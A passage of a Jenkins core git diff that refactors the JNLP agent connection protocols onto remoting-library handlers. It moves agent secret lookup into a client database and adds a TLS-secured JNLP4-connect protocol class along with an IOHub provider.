we think we are currently connected, but this request proves that it's from the party // we are supposed to be communicating to. so let the current one get disconnected - LOGGER.info("Disconnecting "+nodeName+" as we are reconnected from the current peer"); + LOGGER.log(Level.INFO, "Disconnecting {0} as we are reconnected from the current peer", clientName); try { computer.disconnect(new ConnectionFromCurrentPeer()).get(15, TimeUnit.SECONDS); - } catch (ExecutionException | TimeoutException e) { - throw new IOException("Failed to disconnect the current client",e); + } catch (ExecutionException | TimeoutException | InterruptedException e) { + event.reject(new ConnectionRefusalException("Failed to disconnect the current client", e)); + return; } } else { - handshake.error(nodeName + " is already connected to this master. Rejecting this connection."); - return true; + event.reject(new ConnectionRefusalException(String.format( + "%s is already connected to this master. Rejecting this connection.", clientName))); + return; } } + event.approve(); + event.setStash(new State(computer)); + } + + @Override + public void beforeChannel(@NonNull JnlpConnectionState event) { + DefaultJnlpSlaveReceiver.State state = event.getStash(DefaultJnlpSlaveReceiver.State.class); + final SlaveComputer computer = state.getNode(); + final OutputStream log = computer.openLogFile(); + state.setLog(log); + PrintWriter logw = new PrintWriter(log, true); + logw.println("JNLP agent connected from " + event.getSocket().getInetAddress()); + for (ChannelConfigurator cc : ChannelConfigurator.all()) { + cc.onChannelBuilding(event.getChannelBuilder(), computer); + } + event.getChannelBuilder().withHeaderStream(log); + String cookie = event.getProperty(JnlpConnectionState.COOKIE_KEY); + if (cookie != null) { + event.getChannelBuilder().withProperty(COOKIE_NAME, cookie); + } + } - if (!matchesSecret(nodeName,handshake)) { - handshake.error(nodeName + " can't be connected since the agent's secret does not match the handshake secret."); - return true; + @Override + public void afterChannel(@NonNull JnlpConnectionState event) { + DefaultJnlpSlaveReceiver.State state = event.getStash(DefaultJnlpSlaveReceiver.State.class); + final SlaveComputer computer = state.getNode(); + try { + computer.setChannel(event.getChannel(), state.getLog(), null); + } catch (IOException | InterruptedException e) { + PrintWriter logw = new PrintWriter(state.getLog(), true); + e.printStackTrace(logw); + IOUtils.closeQuietly(event.getChannel()); } + } - Properties response = new Properties(); - String cookie = generateCookie(); - response.put("Cookie",cookie); - handshake.success(response); + @Override + public void channelClosed(@NonNull JnlpConnectionState event) { + final String nodeName = event.getProperty(JnlpConnectionState.CLIENT_NAME_KEY); + IOException cause = event.getCloseCause(); + if (cause != null) { + LOGGER.log(Level.WARNING, Thread.currentThread().getName() + " for " + nodeName + " terminated", + cause); + } + } - // this cast is leaking abstraction - JnlpSlaveAgentProtocol2.Handler handler = (JnlpSlaveAgentProtocol2.Handler)handshake; + private static class State implements JnlpConnectionState.ListenerState { + @Nonnull + private final SlaveComputer node; + @CheckForNull + private OutputStream log; - ch = handler.jnlpConnect(computer); + public State(@Nonnull SlaveComputer node) { + this.node = node; + } - ch.setProperty(COOKIE_NAME, cookie); + @Nonnull + public SlaveComputer getNode() { + return node; + } - return true; - } - - /** - * Called after the client has connected to check if the agent secret matches the handshake secret - * - * @param nodeName - * Name of the incoming JNLP agent. All {@link JnlpAgentReceiver} shares a single namespace - * of names. The implementation needs to be able to tell which name belongs to them. - * - * @param handshake - * Encapsulation of the interaction with the incoming JNLP agent. - * - * @return - * true if the agent secret matches the handshake secret, false otherwise. - */ - private boolean matchesSecret(String nodeName, JnlpServerHandshake handshake){ - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - String handshakeSecret = handshake.getRequestProperty("Secret-Key"); - // Verify that the agent secret matches the handshake secret. - if (!computer.getJnlpMac().equals(handshakeSecret)) { - LOGGER.log(Level.WARNING, "An attempt was made to connect as {0} from {1} with an incorrect secret", new Object[]{nodeName, handshake.getSocket()!=null?handshake.getSocket().getRemoteSocketAddress():null}); - return false; - } else { - return true; + @CheckForNull + public OutputStream getLog() { + return log; } - } - private String generateCookie() { - byte[] cookie = new byte[32]; - new SecureRandom().nextBytes(cookie); - return Util.toHexString(cookie); + public void setLog(@Nonnull OutputStream log) { + this.log = log; + } } private static final Logger LOGGER = Logger.getLogger(DefaultJnlpSlaveReceiver.class.getName()); diff --git a/core/src/main/java/jenkins/slaves/IOHubProvider.java b/core/src/main/java/jenkins/slaves/IOHubProvider.java new file mode 100644 index 0000000000..9edd654cbb --- /dev/null +++ b/core/src/main/java/jenkins/slaves/IOHubProvider.java @@ -0,0 +1,71 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.slaves; + +import hudson.Extension; +import hudson.init.Terminator; +import hudson.model.Computer; +import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; +import org.jenkinsci.remoting.protocol.IOHub; + +/** + * Singleton holder of {@link IOHub} + * + * @since FIXME + */ +@Extension +public class IOHubProvider { + /** + * Our logger. + */ + private static final Logger LOGGER = Logger.getLogger(IOHubProvider.class.getName()); + /** + * Our hub. + */ + private IOHub hub; + + public IOHubProvider() { + try { + hub = IOHub.create(Computer.threadPoolForRemoting); + } catch (IOException e) { + LOGGER.log(Level.SEVERE, "Failed to launch IOHub", e); + this.hub = null; + } + } + + public IOHub getHub() { + return hub; + } + + @Terminator + public void cleanUp() throws IOException { + if (hub != null) { + hub.close(); + hub = null; + } + } + +} diff --git a/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java b/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java index 7865c88526..369bd122dc 100644 --- a/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java +++ b/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java @@ -2,15 +2,15 @@ package jenkins.slaves; import hudson.ExtensionList; import hudson.ExtensionPoint; +import hudson.Util; import hudson.model.Slave; -import jenkins.model.Jenkins; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; - -import java.io.IOException; -import java.util.Properties; +import java.security.SecureRandom; +import javax.annotation.Nonnull; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionStateListener; /** - * Receives incoming agents connecting through {@link JnlpSlaveAgentProtocol2}. + * Receives incoming agents connecting through {@link JnlpSlaveAgentProtocol2}, {@link JnlpSlaveAgentProtocol3}, {@link JnlpSlaveAgentProtocol4}. * *

                        * This is useful to establish the communication with other JVMs and use them @@ -19,56 +19,42 @@ import java.util.Properties; * @author Kohsuke Kawaguchi * @since 1.561 */ -public abstract class JnlpAgentReceiver implements ExtensionPoint { - - /** - * Called after the client has connected. - * - *

                        - * The implementation must do the following in the order: - * - *

                          - *
                        1. Check if the implementation recognizes and claims the given name. - * If not, return false to let other {@link JnlpAgentReceiver} have a chance to - * take this connection. - * - *
                        2. If you claim the name but the connection is refused, call - * {@link JnlpSlaveHandshake#error(String)} to refuse the client, and return true. - * The connection will be shut down and the client will report this error to the user. - * - *
                        3. If you claim the name and the connection is OK, call - * {@link JnlpSlaveHandshake#success(Properties)} to accept the client. - * - *
                        4. Proceed to build a channel with {@link JnlpSlaveHandshake#createChannelBuilder(String)} - * and return true - * - * @param name - * Name of the incoming JNLP agent. All {@link JnlpAgentReceiver} shares a single namespace - * of names. The implementation needs to be able to tell which name belongs to them. - * - * @param handshake - * Encapsulation of the interaction with the incoming JNLP agent. - * - * @return - * true if the name was claimed and the handshake was completed (either successfully or unsuccessfully) - * false if the name was not claimed. Other {@link JnlpAgentReceiver}s will be called to see if they - * take this connection. - * - * @throws Exception - * Any exception thrown from this method will fatally terminate the connection. - */ - public abstract boolean handle(String name, JnlpServerHandshake handshake) throws IOException, InterruptedException; +public abstract class JnlpAgentReceiver extends JnlpConnectionStateListener implements ExtensionPoint { - /** - * @deprecated - * Use {@link #handle(String, JnlpServerHandshake)} - */ - public boolean handle(String name, JnlpSlaveHandshake handshake) throws IOException, InterruptedException { - return handle(name,(JnlpServerHandshake)handshake); - } + private static final SecureRandom secureRandom = new SecureRandom(); + public static final JnlpClientDatabase DATABASE = new JnlpAgentDatabase(); public static ExtensionList all() { return ExtensionList.lookup(JnlpAgentReceiver.class); } + + public static boolean exists(String clientName) { + for (JnlpAgentReceiver receiver : all()) { + if (receiver.owns(clientName)) { + return true; + } + } + return false; + } + + protected abstract boolean owns(String clientName); + + public static String generateCookie() { + byte[] cookie = new byte[32]; + secureRandom.nextBytes(cookie); + return Util.toHexString(cookie); + } + + private static class JnlpAgentDatabase extends JnlpClientDatabase { + @Override + public boolean exists(String clientName) { + return JnlpAgentReceiver.exists(clientName); + } + + @Override + public String getSecretOf(@Nonnull String clientName) { + return JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(clientName); + } + } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java index d0759dbd6b..e351b93945 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java @@ -1,32 +1,23 @@ package jenkins.slaves; -import hudson.AbortException; import hudson.Extension; +import hudson.ExtensionList; import hudson.Util; import hudson.model.Computer; -import hudson.remoting.Channel; -import hudson.remoting.Channel.Listener; -import hudson.remoting.ChannelBuilder; -import hudson.remoting.Engine; -import hudson.slaves.SlaveComputer; +import java.io.IOException; +import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import java.util.logging.Logger; +import javax.annotation.Nonnull; +import javax.inject.Inject; import jenkins.AgentProtocol; import jenkins.model.Jenkins; -import jenkins.security.ChannelConfigurator; import jenkins.security.HMACConfidentialKey; import org.jenkinsci.Symbol; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import javax.inject.Inject; -import java.io.BufferedWriter; -import java.io.DataInputStream; -import java.io.IOException; -import java.io.OutputStream; -import java.io.OutputStreamWriter; -import java.io.PrintWriter; -import java.net.Socket; -import java.util.logging.Level; -import java.util.logging.Logger; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol1Handler; /** * {@link AgentProtocol} that accepts connection from agents. @@ -56,10 +47,29 @@ import java.util.logging.Logger; * @author Kohsuke Kawaguchi * @since 1.467 */ -@Extension @Symbol("jnlp") +@Extension +@Symbol("jnlp") public class JnlpSlaveAgentProtocol extends AgentProtocol { + /** + * Our logger + */ + private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol.class.getName()); + /** + * This secret value is used as a seed for agents. + */ + public static final HMACConfidentialKey SLAVE_SECRET = + new HMACConfidentialKey(JnlpSlaveAgentProtocol.class, "secret"); + + private NioChannelSelector hub; + + private JnlpProtocol1Handler handler; + @Inject - NioChannelSelector hub; + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol1Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } /** * {@inheritDoc} @@ -71,7 +81,7 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { @Override public String getName() { - return "JNLP-connect"; + return handler.isEnabled() ? handler.getName() : null; } /** @@ -84,95 +94,11 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler(hub.getHub(),socket).run(); + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - protected static class Handler extends JnlpServerHandshake { - - /** - * @deprecated as of 1.559 - * Use {@link #Handler(NioChannelHub, Socket)} - */ - @Deprecated - public Handler(Socket socket) throws IOException { - this(null,socket); - } - - public Handler(NioChannelHub hub, Socket socket) throws IOException { - super(hub, Computer.threadPoolForRemoting, socket); - } - - protected void run() throws IOException, InterruptedException { - final String secret = in.readUTF(); - final String nodeName = in.readUTF(); - - if(!SLAVE_SECRET.mac(nodeName).equals(secret)) { - error("Unauthorized access"); - return; - } - - - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - if(computer==null) { - error("No such agent: "+nodeName); - return; - } - - if(computer.getChannel()!=null) { - error(nodeName+" is already connected to this master. Rejecting this connection."); - return; - } - - out.println(Engine.GREETING_SUCCESS); - - jnlpConnect(computer); - } - - protected Channel jnlpConnect(SlaveComputer computer) throws InterruptedException, IOException { - final String nodeName = computer.getName(); - final OutputStream log = computer.openLogFile(); - PrintWriter logw = new PrintWriter(log,true); - logw.println("JNLP agent connected from "+ socket.getInetAddress()); - - try { - ChannelBuilder cb = createChannelBuilder(nodeName); - - for (ChannelConfigurator cc : ChannelConfigurator.all()) { - cc.onChannelBuilding(cb, computer); - } - - computer.setChannel(cb.withHeaderStream(log).build(socket), log, - new Listener() { - @Override - public void onClosed(Channel channel, IOException cause) { - if(cause!=null) - LOGGER.log(Level.WARNING, Thread.currentThread().getName() + " for " + nodeName + " terminated", cause); - try { - socket.close(); - } catch (IOException e) { - // ignore - } - } - }); - return computer.getChannel(); - } catch (AbortException e) { - logw.println(e.getMessage()); - logw.println("Failed to establish the connection with the agent"); - throw e; - } catch (IOException e) { - logw.println("Failed to establish the connection with the agent " + nodeName); - e.printStackTrace(logw); - throw e; - } - } - } - - private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol.class.getName()); - - /** - * This secret value is used as a seed for agents. - */ - public static final HMACConfidentialKey SLAVE_SECRET = new HMACConfidentialKey(JnlpSlaveAgentProtocol.class,"secret"); /** * A/B test turning off this protocol by default. diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java index 1a2bb649dc..66bc07dc9d 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java @@ -1,13 +1,19 @@ package jenkins.slaves; import hudson.Extension; -import org.jenkinsci.Symbol; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import java.io.ByteArrayInputStream; +import hudson.ExtensionList; +import hudson.model.Computer; import java.io.IOException; import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import javax.annotation.Nonnull; +import javax.inject.Inject; +import jenkins.AgentProtocol; +import org.jenkinsci.Symbol; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol2Handler; /** * {@link JnlpSlaveAgentProtocol} Version 2. @@ -20,11 +26,23 @@ import java.net.Socket; * @author Kohsuke Kawaguchi * @since 1.467 */ -@Extension @Symbol("jnlp2") -public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { +@Extension +@Symbol("jnlp2") +public class JnlpSlaveAgentProtocol2 extends AgentProtocol { + private NioChannelSelector hub; + + private JnlpProtocol2Handler handler; + + @Inject + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol2Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } + @Override public String getName() { - return "JNLP2-connect"; + return handler.isEnabled() ? handler.getName() : null; } /** @@ -45,43 +63,9 @@ public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler2(hub.getHub(),socket).run(); + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - protected static class Handler2 extends Handler { - /** - * @deprecated as of 1.559 - * Use {@link #Handler2(NioChannelHub, Socket)} - */ - @Deprecated - public Handler2(Socket socket) throws IOException { - super(socket); - } - - public Handler2(NioChannelHub hub, Socket socket) throws IOException { - super(hub, socket); - } - - /** - * Handles JNLP agent connection request (v2 protocol) - */ - @Override - protected void run() throws IOException, InterruptedException { - request.load(new ByteArrayInputStream(in.readUTF().getBytes("UTF-8"))); - - final String nodeName = request.getProperty("Node-Name"); - - for (JnlpAgentReceiver recv : JnlpAgentReceiver.all()) { - try { - if (recv.handle(nodeName,this)) - return; - } catch (AbstractMethodError e) { - if (recv.handle(nodeName,new JnlpSlaveHandshake(this))) - return; - } - } - - error("JNLP2-connect: rejected connection for node: " + nodeName); - } - } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index e0f5c76166..50779ee9da 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -1,43 +1,45 @@ package jenkins.slaves; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import hudson.AbortException; import hudson.Extension; +import hudson.ExtensionList; import hudson.Util; import hudson.model.Computer; -import hudson.remoting.Channel; -import hudson.remoting.ChannelBuilder; -import hudson.slaves.SlaveComputer; +import java.io.IOException; +import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import javax.annotation.Nonnull; +import javax.inject.Inject; import jenkins.AgentProtocol; import jenkins.model.Jenkins; -import jenkins.security.ChannelConfigurator; -import org.jenkinsci.remoting.engine.JnlpServer3Handshake; -import org.jenkinsci.remoting.nio.NioChannelHub; +import jenkins.util.SystemProperties; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol3Handler; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; -import javax.inject.Inject; -import java.io.IOException; -import java.io.OutputStream; -import java.io.PrintWriter; -import java.net.Socket; -import java.util.logging.Level; -import java.util.logging.Logger; -import jenkins.util.SystemProperties; - /** * Master-side implementation for JNLP3-connect protocol. * - *

                          @see {@link org.jenkinsci.remoting.engine.JnlpProtocol3} for more details. + *

                          @see {@link org.jenkinsci.remoting.engine.JnlpProtocol3Handler} for more details. * - * @author Akshay Dayal * @since 1.XXX */ -// TODO @Deprecated once JENKINS-36871 is merged +@Deprecated @Extension public class JnlpSlaveAgentProtocol3 extends AgentProtocol { + private NioChannelSelector hub; + + private JnlpProtocol3Handler handler; + @Inject - NioChannelSelector hub; + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol3Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } /** * {@inheritDoc} @@ -52,7 +54,7 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { // we only want to force the protocol off for users that have explicitly banned it via system property // everyone on the A/B test will just have the opt-in flag toggled // TODO strip all this out and hardcode OptIn==TRUE once JENKINS-36871 is merged - return forceEnabled != Boolean.FALSE ? "JNLP3-connect" : null; + return forceEnabled != Boolean.FALSE ? handler.getName() : null; } /** @@ -65,76 +67,11 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler(hub.getHub(), socket).run(); - } - - static class Handler extends JnlpServer3Handshake { - private SlaveComputer computer; - private PrintWriter logw; - private OutputStream log; - - public Handler(NioChannelHub hub, Socket socket) throws IOException { - super(hub, Computer.threadPoolForRemoting, socket); - } - - protected void run() throws IOException, InterruptedException { - try { - Channel channel = connect(); - - computer.setChannel(channel, log, - new Channel.Listener() { - @Override - public void onClosed(Channel channel, IOException cause) { - if (cause != null) - LOGGER.log(Level.WARNING, - Thread.currentThread().getName() + " for + " + - getNodeName() + " terminated", cause); - try { - socket.close(); - } catch (IOException e) { - // Do nothing. - } - } - }); - } catch (AbortException e) { - logw.println(e.getMessage()); - logw.println("Failed to establish the connection with the agent"); - throw e; - } catch (IOException e) { - logw.println("Failed to establish the connection with the agent " + getNodeName()); - e.printStackTrace(logw); - throw e; - } - } - - @Override - public ChannelBuilder createChannelBuilder(String nodeName) { - log = computer.openLogFile(); - logw = new PrintWriter(log,true); - logw.println("JNLP agent connected from " + socket.getInetAddress()); - - ChannelBuilder cb = super.createChannelBuilder(nodeName).withHeaderStream(log); - - for (ChannelConfigurator cc : ChannelConfigurator.all()) { - cc.onChannelBuilding(cb, computer); - } - - return cb; - } - - @Override - protected String getNodeSecret(String nodeName) throws Failure { - computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - if (computer == null) { - throw new Failure("Agent trying to register for invalid node: " + nodeName); - } - return computer.getJnlpMac(); - } - + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol3.class.getName()); - /** * Flag to control the activation of JNLP3 protocol. * @@ -152,6 +89,9 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { forceEnabled = SystemProperties.optBoolean(JnlpSlaveAgentProtocol3.class.getName() + ".enabled"); if (forceEnabled != null) { ENABLED = forceEnabled; + } else { + byte hash = Util.fromHexString(Jenkins.getActiveInstance().getLegacyInstanceId())[0]; + ENABLED = (hash % 10) == 0; } } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java new file mode 100644 index 0000000000..3f5fba0d2f --- /dev/null +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -0,0 +1,201 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.slaves; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.model.Computer; +import java.io.IOException; +import java.net.Socket; +import java.security.KeyManagementException; +import java.security.KeyStore; +import java.security.KeyStoreException; +import java.security.NoSuchAlgorithmException; +import java.security.UnrecoverableKeyException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.security.interfaces.RSAPrivateKey; +import java.util.Collections; +import java.util.HashMap; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.inject.Inject; +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import jenkins.AgentProtocol; +import jenkins.model.identity.InstanceIdentityProvider; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol4Handler; +import org.jenkinsci.remoting.protocol.IOHub; +import org.jenkinsci.remoting.protocol.cert.PublicKeyMatchingX509ExtendedTrustManager; + +/** + * Master-side implementation for JNLP4-connect protocol. + * + *

                          @see {@link org.jenkinsci.remoting.engine.JnlpProtocol4Handler} for more details. + * + * @since FIXME + */ +@Extension +public class JnlpSlaveAgentProtocol4 extends AgentProtocol { + /** + * Our logger. + */ + private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol4.class.getName()); + + /** + * Our keystore. + */ + private final KeyStore keyStore; + /** + * Our trust manager. + */ + private final TrustManager trustManager; + + /** + * The provider of our {@link IOHub} + */ + private IOHubProvider hub; + + /** + * Our handler. + */ + private JnlpProtocol4Handler handler; + /** + * Our SSL context. + */ + private SSLContext sslContext; + + /** + * Constructor. + * + * @throws KeyStoreException if things go wrong. + * @throws KeyManagementException if things go wrong. + * @throws IOException if things go wrong. + */ + public JnlpSlaveAgentProtocol4() throws KeyStoreException, KeyManagementException, IOException { + // prepare our local identity and certificate + X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + + // prepare our keyStore so we can provide our authentication + keyStore = KeyStore.getInstance("JKS"); + char[] password = "password".toCharArray(); + try { + keyStore.load(null, password); + } catch (IOException e) { + throw new IllegalStateException("Specification says this should not happen as we are not doing I/O", e); + } catch (NoSuchAlgorithmException | CertificateException e) { + throw new IllegalStateException("Specification says this should not happen as we are not loading keys", e); + } + keyStore.setKeyEntry("jenkins", privateKey, password, + new X509Certificate[]{identityCertificate}); + + // prepare our keyManagers to provide to the SSLContext + KeyManagerFactory kmf; + try { + kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + kmf.init(keyStore, password); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("Specification says the default algorithm should exist", e); + } catch (UnrecoverableKeyException e) { + throw new IllegalStateException("The key was just inserted with this exact password", e); + } + + // prepare our trustManagers + trustManager = new PublicKeyMatchingX509ExtendedTrustManager(false, true); + TrustManager[] trustManagers = {trustManager}; + + // prepare our SSLContext + try { + sslContext = SSLContext.getInstance("TLS"); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("Java runtime specification requires support for TLS algorithm", e); + } + sslContext.init(kmf.getKeyManagers(), trustManagers, null); + } + + /** + * Inject the {@link IOHubProvider} + * + * @param hub the hub provider. + */ + @Inject + public void setHub(IOHubProvider hub) { + this.hub = hub; + handler = new JnlpProtocol4Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, hub.getHub(), + sslContext, false, true); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return true; + } + + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.JnlpSlaveAgentProtocol4_displayName(); + } + + /** + * {@inheritDoc} + */ + @Override + public String getName() { + return handler.getName(); + } + + /** + * {@inheritDoc} + */ + @Override + public void handle(Socket socket) throws IOException, InterruptedException { + try { + X509Certificate certificate = (X509Certificate) keyStore.getCertificate("jenkins"); + if (certificate == null + || certificate.getNotAfter().getTime() < System.currentTimeMillis() + TimeUnit.DAYS.toMillis(1)) { + LOGGER.log(Level.INFO, "Updating {0} TLS certificate to retain validity", getName()); + X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + char[] password = "password".toCharArray(); + keyStore.setKeyEntry("jenkins", privateKey, password, new X509Certificate[]{identityCertificate}); + } + } catch (KeyStoreException e) { + LOGGER.log(Level.FINEST, "Ignored", e); + } + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); + } + +} diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java b/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java deleted file mode 100644 index 1b67b98ecf..0000000000 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java +++ /dev/null @@ -1,22 +0,0 @@ -package jenkins.slaves; - -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import java.io.IOException; -import java.net.Socket; -import java.util.concurrent.ExecutorService; - -/** - * Palette of objects to talk to the incoming JNLP agent connection. - * - * @author Kohsuke Kawaguchi - * @since 1.561 - * @deprecated as of 1.609 - * Use {@link JnlpServerHandshake} - */ -public class JnlpSlaveHandshake extends JnlpServerHandshake { - /*package*/ JnlpSlaveHandshake(JnlpServerHandshake rhs) { - super(rhs); - } -} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly new file mode 100644 index 0000000000..31c51e4ce9 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly @@ -0,0 +1,4 @@ + + + ${%A TLS secured connection between the master and the agent performed by TLS upgrade of the socket.} + diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index c66841c308..7085843d8b 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties 